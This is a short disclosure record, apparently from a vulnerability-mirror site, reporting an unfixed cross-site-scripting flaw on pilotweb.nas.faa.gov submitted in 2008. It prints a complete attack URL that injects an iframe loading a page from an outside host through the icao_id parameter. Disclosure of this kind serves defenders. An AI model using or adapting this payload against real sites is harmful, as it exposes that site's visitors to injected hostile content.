Security researcher Uber0n, has submitted on 26/01/2008 a cross-site-scripting (XSS) vulnerability affecting pilotweb.nas.faa.gov, which at the time of submission ranked 20042 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 27/02/2008. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
| Date submitted: 26/01/2008 |
Date published: 27/02/2008 |
Fixed? Mail us! | Status:  UNFIXED |
| Author: Uber0n |
Domain: pilotweb.nas.faa.gov |
Category: XSS |
Pagerank: 20042 |
|---|
URL: https://pilotweb.nas.faa.gov/geo/flightPath.html?format=domestic&icao_id=<iframe
src=http://uber0n.darkillusion.org/xsspage.htm>&icao_id=&icao_id=&icao_id=&icao_id=&radius=20&option
s=A&options=C&options=R&flight_path=View+NOTAMs |
|
Click here to view the mirror
|
|
|
| 
